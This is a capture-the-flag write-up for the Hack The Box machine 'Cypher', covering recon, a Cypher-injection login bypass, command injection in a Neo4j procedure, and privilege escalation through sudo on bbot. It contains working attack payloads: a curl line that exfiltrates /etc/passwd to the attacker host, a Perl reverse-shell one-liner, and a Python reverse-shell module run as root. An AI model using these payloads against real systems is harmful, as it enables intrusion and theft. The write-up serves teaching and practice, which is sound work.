Cypher

INTRODUCTION

Cypher was released for week 8 of HTB’s season 7 Vice. It’s marked as Medium difficulty, not because the individual steps were hard, but probably more due the number of steps. In my opinion, this was more of an Easy.

Recon was really easy. A quick “spider” of the target website and some directory enumeration is all you’ll need. This will point you towards both the authentication endpoint and a directory that still has directory listing enabled.

Foothold is also very easy. Inside the directory with directory listing enabled, there should be a .jar file. Examining the contents of the jar file (and keeping the box name in mind) will point you in the right direction for the next step. One tip: the app was left in Debug mode, so try to produce some errors in the web app to learn more about its source code. We’re ultimately trying to gain access to a service that has no Registration page, so use your CTF-running brain and try to infer what that might mean…

We’ll gain access to the authenticated endpoint, which gives us a web interface for interacting with the database. Thankfully, we’ve already seen everything we need to gain code execution. Find the command injection, and you’ll be able to pop a reverse shell.

To obtain the user flag, we need to pivot to the next user. My only advice is to be sure to check everyone’s home directories.

Root flag was a little more interesting. It showcases a scanning/recon tool made primarily by the box author themselves. Thankfully, it’s really well-documented; all that’s really necessary to get the root flag is to read a little documentation. I challenged myself to not just stop at the flag, to continue to gaining a full root shell - and I’d suggest you do the same!

Cypher made for a quick and satisfying box. I’d highly recommend it to anyone that wants to practice good fundamentals, but in an environment that hasn’t been done a million times 👍

title picture

Check out the hands on the righthand lady: double pinky-thumbs! 👐

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No new results.

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results.

Webserver Strategy

Noting the redirect from the nmap scan, I’ll add cypher.htb to my /etc/hosts and do banner-grabbing for the web server:

DOMAIN=cypher.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

(Sub)domain enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost root enum

Only the domain we already knew about. Next I’ll check for subdomains of cypher.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that.

Directory enumeration

I’ll move on to directory enumeration. First, I’ll check http://cypher.htb using a ZAP “spider” attack:

site map

Cool, so there’s clearly an API and its mostly just used for authentication.

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

directory enum 1

Whoa! Lots of results there. api redirects to api/docs, and the testing directory was unknown previously.

Let’s fuzz the API a little, too:

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

api fuzzing 1

The only result is the one we already knew.

Exploring the Website

Next I’ll browse the target website manually a little.

I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.

The target looks like it’s a website some kind of attack surface management software 🙄

index page

Their “About” page is incoherent AI-generated drivel. The only really notable thing is that they repeat over and over that they are definitely closed-source. 👎 boo

There is also a login page, but no registration:

login page

The /api page redirects to /api/docs:

api page

It looks like the “Not Found” probably corresponds to HTTP 404, since when we visit /api/auth we get "Method Not Allowed" in the same place (and the request gives an HTTP 405 response)

The /testing page is where things start to look a little interesting:

testing directory

Very odd to leave directory listing turned on intentionally. Let’s download and extract this .jar file.

FOOTHOLD

JAR file

I’ll start by extracting the file. It should be a whole java package inside.

jar -f ./custom-apoc-extension-1.0-SNAPSHOT.jar --extract

But since I have JD-GUI already, I’ll just open it there. Immediately I see some vulnerable code in the CustomFunctions class:

CustomFunctions

It doesn’t seem relevant right now, but check out the structure of the java we have open - it’s for neo4j, an APOC extension:

jar extracted

💡 Aha… this connects the About Us page clue: Neo4J Community Edition is famously NOT open-source, even though it has an enterprise release with an open source license.

Also, the name of the box is Cypher, which is also the name of the query language used with Neo4J.

Unfortunately, this .jar file doesn’t contain a whole application, and it’s unclear where (or if) this code is used on the target.

Login form

I started with some low effort brute-forcing (less than 1000 guesses) and didn’t get any results. If you’re interested, I followed the procedure I have written here.

What about authentication bypasses though? Could I try a simple SQL injection? I’ll try the good ol’ admin' OR '1'='1:

auth bypass attempt

Aha! We got it to spit out quite a bit of error text. It disappears fast, but I caught it on my clipboard. Here it is:

neo4j auth query

i.e. the important part is the final line, that shows us the query it’s performing. Unsurprisingly, it’s written in Cypher:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR '1'='1'' return h.value as hash

This is great. It tells us a few facts:

  • We know that Cypher injection is definitely possible, since we were able to cause this error (of unmatched quotation marks)
  • The query we need to inject into is really simple, and looks vulnerable to a simple auth bypass
  • We know the password hashing algorithm is SHA1

Auth Bypass

We just saw the query that the login form uses. It appears to happen in two stages, only one of which we can observe through the error code:

  1. Look up a user according to their username, return their password
  2. Check that the retrieved password hash matches the SHA1 hash of the provided password

If the username and password check were within the same query (and assuming that the password field is also injectible) we could do something like this:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) 
WHERE u.name = 'myusername' OR '1'='1' AND h.value = 'mypassword' OR '1'='1' 
RETURN u.name as username

And that would let us in. However, this isn’t our scenario - out authentication takes two steps.

Therefore, we must force the system to not return h.value, but actually to just return our own predetermined hash instead!

echo -n 'password' | shasum
# 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  -

Now we should by able to bypass the username check with a boolean, and return our own password SHA1 hash. The injection would be admin' OR 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash //.

We need to use the password that matches this hash, which is “password”

neo4j auth bypass success

👏 The auth bypass was successful:

dashboard

It looks like this whole “demo” is just a web-based interface for Neo4J with a few prewritten queries. Thankfully, they let us perform free-form queries too.

Since we’re not even authenticated as a user, we should first try to dump the users/passwords:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) return u, h

This shows that there’s actually only one user:

[
  {
    "u": {
      "name": "graphasm"
    },
    "h": {
      "value": "9f54ca4c130be6d529a56dee59dc2b2090e43acf"
    }
  }
]

Great, so we have a password hash. Can we crack it?

⏩ No, seems like we can’t crack it. I tried a few wordlists and a few other (less likely) formats - no success.

Neo4J Java Procedure

Personally, I’m not very familiar with Neo4J or Cypher. Thankfully, I’ve found a couple really handy resources.

While reading throught the “Cypher Cheat Sheet” from the official documentation, I came across a section describing how to CALL a Java stored procedure. That definitely sounds like what the contents of that .jar file were:

package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
  // ...

This says to me that there is a procedure named custom.getUrlStatusCode that takes one string argument named url. Let’s try calling this procedure, to see if the .jar is even loaded into the database:

Call procedure test

😮 The procedure looks like it loaded. Plus, we can see that it’s complaining about us not including the url parameter. This is perfect!

To prepare for playing with this function, I’ll start up an HTTP server:

sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
simple-server 8000 -v

And in a separate terminal tab, I’ll start a reverse shell listener:

bash
nc -lvnp 4444

I tried providing the url parameter as a map (custom.getUrlStatusCode({url:'http://10.10.14.147:8000'})) but that caused a TypeError.

The correct way is to just pass it a string normally:

CALL custom.getUrlStatusCode('http://10.10.14.147:8000')

After a moment, we see the status code appear in the results pane:

custom function success

And we can see the request at the HTTP server, too:

custom function success 2

Next let’s try injecting something. I’ll do a simple nc connection (not a reverse shell) after the cURL request:

CALL custom.getUrlStatusCode('http://10.10.14.147:8000; nc 10.10.14.147 4444')

command injection poc

Reverse Shell

I was having trouble turning the command injection into a reverse shell right away, so I decided to try out a file read instead. This was the command:

I think the problem was that this method (for some reason TBD) blocks the ampersand character. Thing like a typical bash reverse shell were problematic.

CALL custom.getUrlStatusCode('http://10.10.14.147:8000; F=$(cat /etc/passwd|base64 -w 0); curl "http://10.10.14.147:8000/?b64=$F"')

My http server received and decoded the request:

leaked etc passwd

I used the same trick to check the value of $USER - unsurprisingly we’re running as neo4j.

Next I’ll check what useful scripting languages we have that might be used for a reverse shell:

CALL custom.getUrlStatusCode('http://10.10.14.147:8000; F=$(which python php perl |base64 -w 0); curl "http://10.10.14.147:8000/?b64=$F"')

what reverse shell languages

Alright, perl it is! Let’s put together a reverse shell (remember to escape the quotes properly):

CALL custom.getUrlStatusCode('http://10.10.14.147:8000; perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.147:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'')

reverse shell

Upgrade the Shell

I’ll take a moment to upgrade the shell. For more details, see my guide:

which python python3
# python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[ctrl+Z]
stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color; export SHELL=bash; alias ll="ls -lah"

USER FLAG

Toolbox

I’ll transfer over my usual toolbox. I have a script that stands up an http server, then serves all of my usual tools. There is a corresponding script for downloading the tools from that server. More recently I’ve added a portable copy of tmux and some other niceties.

I won’t write out the scripts here, but the result is just a few tools, environment variables, and aliases - including the following:

  • Pspy
  • Linux exploit suggester
  • Autoenumeration scripts (like Linpeas)
  • Chisel

toolbox and tmux

Aside: Chisel SOCKS Proxy

Early during local user enumeration I found a couple ports that I can only access from the target. To allow my attacker host to reach them, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

socks5  127.0.0.1 1080
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.147:9999 R:1080:socks &

To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:

proxychains curl http://10.10.14.147:8000
# Loads my index page, from the perspective of the target

Success 👍

Local Enumeration - neo4j

First, I’ll take a look around the filesystem. There are some neo4j creds in two places, in both the home directories of neo4j and graphasm:

found neo4j creds

found more neo4j creds

For copy-pasting sake, that credential is: ne4j : cU4btyib.20xtCMCXkBmerhK

neo4j web interface

🚫 This section didn’t lead to any progress on the box, just some contextual info. If you’re short on time, please feel free to skip ahead to the next section.

Since we already have a SOCKS5 proxy going, let’s try connecting to Neo4J through the web interface and see if there’s anything new

Note that my browser is using FoxyProxy to proxy through localhost:1080

neo4j web interface

⚠️ Connecting took a couple tries. I don’t think I was doing anything wrong, just the connection is a little flaky.

We can check the same query for password hashes:

checking password hashes again neo4j

Honestly, I think I’m looking at the same info as before. Nothing new. It’s a little easier now though, since I can see what node labels and relationships exist:

node lables and relationships

Auto-enumeration scripts

As mentioned earlier, I grabbed Linpeas when I served the rest of my toolbox to the target host.

Unfortunately, Linpeas didn’t really find anything I hadn’t already seen…

Credential reuse

Unfortunately, I’m running out of ideas for enumeration. I’ll go back to my local enum checklist and see if I missed anything 🤔

I realized that I violated one of my own rules: I found new credentials but neglected to test them against all services that have authentication. I used the creds successfully on the service they were assigned for, but didn’t check for re-use.

CredsService with authentication
neo4j : cU4btyib.20xtCMCXkBmerhKNeo4J DB
neo4j : cU4btyib.20xtCMCXkBmerhKSSH
graphasm : cU4btyib.20xtCMCXkBmerhKNeo4J DB
graphasm : cU4btyib.20xtCMCXkBmerhKSSH

I wasn’t really expecting that last one! That’s great - now we have an SSH connection:

ssh as graphasm

🎉 The SSH connection drops us into /home/graphasm adjacent to the user flag (which we already saw, but couldn’t access):

cat /home/graphasm/user.txt

ROOT FLAG

Local enumeration - graphasm

It looks like graphasm can sudo one thing. In HTB, this means it’s an extremely likely privesc vector 🙂

(ALL) NOPASSWD: /usr/local/bin/bbot

This must be related to the file we saw earlier (that had neo4j creds inside), /home/graphasm/bbot_preset.yml:

targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

The executable we can run as sudo is actually just a simple python script that calls another script:

#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

BBOT Documentation

This bbot thing is clearly this recon/scanning tool from blacklanternsecurity. It seems pretty cool. Maybe if I were doing bug bounty full-time I’d have a good use for it. Seems like it can do all my typical recon tasks, and deal with many other automatable scans and vulnerability tests.

I’ll look through the documentation and see if there’s any way we can:

  • Perform file reads
    • Read the flag directly, then exfil it
  • Perform file writes
    • Plant an SSH key, or write to /etc/shadow
  • Code execution
    • Create a subshell, or maybe a reverse shell

Reading files

After a thorough review of the documentation, I’ve found five ways to make the script read particular files:

  1. Pretend the file is the targets list file, and read it. This is core functionality, so it should probably be the first thing I try. The -t option might be useful.
  2. Use a FILESYSTEM target, include .txt in the file extensions whitelist, then use the filedownloader module to grab any txt file that the FILESYSTEM target provides. Depending on the output format, I should be able to read the file contents through the logs.
  3. Read a presets file. This is a yml file that determines which scanning modules and stuff get loaded, how output is generated, etc. The -p option to load a presets file and the --current-preset option to display the values might be useful.
  4. Read a file by “loading a module”. We need to define the module path then provide the module as an argument. As far as I can tell, the modules need to be python - but is there any validation on the modules?
  5. Define custom YARA rules and load that file - does anything recklessly reflect the YARA rules?

Since the program requires a target (or list of targets) to be defined, the -t option is almost core funcitonality (I say “almost” because the targets can also be defined in a Presets file). That means it’ll probably be best-documented but least-likely to be buggy 🤷‍♂️

By default, the output directory is in ~/.bbot. When we run this with sudo, that directory is inside /root… therefore it is necessary to define an output directory with -o.

Let’s try it out!

sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/.Tools2/scans

bbot output

The output/log file should contain a list of which target it attempted to contact. Let’s read it:

cat /tmp/.Tools2/scans/inebriated_ella/output.txt

got flag

Oh whoa - there’s the flag! That was really easy 😂

I’ll admit though, I’m not entirely satisfied finishing this one off without a root shell 😐

EXTRA CREDIT

Root shell

It doesn’t sit well with me, leaving a box without getting a root shell. I’m sure there’s a way I could achieve this without too much work.

The most promising feature seems to be the modules system. I should be able to write a module (or an output module) that gets me some kind of code execution, whether it’s a subshell or a reverse shell or whatever.

Following their official guide on creating custom modules, I started with a simple python class that imports and inherits the BaseModule

from bbot.modules.base import BaseModule

class revshell(BaseModule):
    watched_events = ["DNS_NAME"]
    produced_events = ["DNS_NAME"]
    flags = ["passive", "safe"]
    meta = {
        "description": "Python reverse shell module",
        "created_date": "2025-03-02",
        "author": "@4wayhandshake",
    }

    async def setup(self):
        return True

    async def handle_event(self, event):
        pass

So far, this module doesn’t do anything. Let’s add in some initialization code, and give it config options for the reverse shell listener’s IP address and port:

from bbot.modules.base import BaseModule

class revshell(BaseModule):
    # ...
    options = {
        "addr": "10.10.14.147",
        "port": "4444"
    }
    options_desc = {
        "addr": "Reverse shell listener IP address",
        "port": "Reverse shell listener port"
    }

    async def setup(self):
        self.listener_addr = self.config.get("addr", "10.10.14.147")
        self.listener_port = int(self.config.get("port", "4444"))
        if not (0 <= self.listener_port <= 65535):
            raise ValueError(f"The provided reverse shell listener port is invalid: {self.listener_port}")
        print(f'[INFO] Forming reverse shell with {self.listener_addr}:{self.listener_port}')
        return True

    async def handle_event(self, event):
        pass

Looks good so far. If you tried to use this module, it would run - it just wouldn’t do anything. Let’s add in the reverse shell next. I’ll use the “Python3 #2” one from revshells.com:

from bbot.modules.base import BaseModule
import socket, subprocess, os
import pty

class revshell(BaseModule):
    # ...

    async def setup(self):
        # ...
        await self.revshell()
        return True
    
    async def revshell(self):
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((self.listener_addr,self.listener_port))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("bash")

    async def handle_event(self, event):
        pass
        

Perfect. If I place this with my other modules (the preinstalled ones), it works perfectly. So how can I define a custom modules directory? As it turns out, the trick is using a presets file. I couldn’t get it to work any other way.

It is, however, pretty convenient to put the address and port inside the presets file instead of passing them as CLI args

targets:
  - http://10.10.14.147:8000

output_dir: /tmp/.Tools/scans

module_dirs:
  - /tmp/.Tools
  
modules:
  - revshell

config:
  modules:
    revshell:
      addr: "10.10.14.147" 
      port: "4444"

I think the target is actually irrelevant; the reverse shell will fire as soon as the module deploys.

I’ll serve these two files to the target, over HTTP:

  • revshell.py
  • preset.yml

Since everything is defined within this presets file the only option we need to give bbot is -p:

mkdir -p /tmp/.Tools; cd /tmp/.Tools
curl -sO http://10.10.14.147:8000/preset.yml
curl -sO http://10.10.14.147:8000/revshell.py
vim preset.yml  # Check that the listener IP address and port
sudo /usr/local/bin/bbot -p ./preset.yml

👇 Target is in the lefthand pane; attacker http server is top-right, reverse shell listener is bottom-right.

getting root shell with malicious module

🍰 Not too bad!

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. I downloaded BBOT to play with it, so I’ll get rid of that now:

rm -rf ./exploit/bbot

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • ✔️ Use purpose-specific checklists. It will help you to stay pointed in the right direction when things get a little confusing. Thankfully on this box I had the good sense to check for traditional auth bypasses. The lack of registration is a major clue to try this out.

  • ↩️ Don’t fixate on reverse shells for foothold. We can run into some weird problems when trying to open a reverse shell: it’s always best to test everything in small reproducible steps. Sometimes, a reverse shell won’t even be possible. Know enough about your target to do something useful even if you can’t pop a shell.

  • 👓 Reading documentation is faster than finding bugs manually. It is almost always a good tradeoff to take a quick look through the documentation of any software you’re trying to exploit. Honestly, a surprising amount of documentation will plainly tell you when a feature is insecure, and caution you away from using that feature (ex. Python Pickle does this well)

  • 🔒 Remember credential reuse. During this box, I forgot to check every possible combination of credential + service… and it really bit me!
two crossed swords

Defender

  • 🎒 Use prepared statements every time. Cypher injection has the same risks and same mitigations as traditional nosql-injection. There is no reason to avoid using prepared statements. Honestly, it even makes the code a little shorter and more expressive.

  • 🌍 Testing / development code should not be accessible from the internet. Using some very simple directory enumeration, we found some insecure code and were able to utilize it, whitebox-style. Be very careful about how pre-production code is distributed or posted.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake